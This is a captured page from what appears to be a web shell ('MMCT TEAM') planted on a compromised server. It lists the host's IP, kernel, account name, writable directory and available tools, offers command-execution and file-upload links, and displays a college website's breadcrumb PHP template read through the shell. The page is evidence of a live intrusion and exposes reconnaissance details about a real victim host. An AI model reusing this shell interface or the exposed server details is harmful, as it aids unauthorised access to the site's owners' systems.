MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0777) :  /home/celkcksm/rangamaticollege.org/includes/common/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/rangamaticollege.org/includes/common/bread_crumb.php
<div class="site-breadcrumb" style="background: url(<?php echo $breadcrumb_bg; ?>)">
    <div class="container">
        <!-- Dynamically set the breadcrumb title -->
        <h2 class="breadcrumb-title">
            <?php 
                // Dynamically set the breadcrumb title based on the page
                echo (isset($page_heading[$lastUriSegment])) ? $page_heading[$lastUriSegment]['page_heading'] : "Page Not Found";
            ?>
        </h2>
        
        <ul class="breadcrumb-menu">
            <?php
                // Dynamically generate breadcrumb items
                if(isset($bread_cumbs[$lastUriSegment])) {
                    foreach ($bread_cumbs[$lastUriSegment] as $key => $value) {
                        if(!empty($key)) {
                            // Link for the breadcrumb
                            echo "<li><a href='{$key}'>{$value}</a></li>";
                        } else {
                            // Current page breadcrumb (without link)
                            echo "<li class='active'>{$value}</li>";
                        }
                    }
                } else {
                    // Default breadcrumb if no breadcrumb items found
                    echo "<li><a href='{$base_url}'>Home</a></li>";
                    echo "<li class='active'>404</li>";
                }
            ?>
        </ul>
    </div>
</div>

MMCT - 2023